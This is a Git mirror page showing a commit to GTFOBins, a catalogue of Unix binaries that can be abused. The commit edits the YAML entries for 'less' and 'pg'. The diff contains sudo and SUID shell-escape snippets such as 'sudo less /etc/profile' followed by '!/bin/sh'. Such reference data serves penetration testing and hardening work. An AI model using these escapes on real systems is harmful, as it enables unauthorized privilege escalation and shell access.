mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Fix SUID for less and pg
Only file access is possible in that case.
This commit is contained in:
parent
e310b1f565
commit
41bd75145c
@ -13,8 +13,8 @@ functions:
|
||||
- code: |
|
||||
sudo less /etc/profile
|
||||
!/bin/sh
|
||||
suid-limited:
|
||||
suid-enabled:
|
||||
- code: |
|
||||
./less /etc/profile
|
||||
./less file_to_read
|
||||
!/bin/sh
|
||||
---
|
||||
|
@ -10,8 +10,9 @@ functions:
|
||||
- code: |
|
||||
sudo pg /etc/profile
|
||||
!/bin/sh
|
||||
suid-limited:
|
||||
- code: |
|
||||
./pg /etc/profile
|
||||
suid-enabled:
|
||||
- description:
|
||||
code: |
|
||||
./pg file_to_read
|
||||
!/bin/sh
|
||||
---
|
||||
|
Loading…
Reference in New Issue
Block a user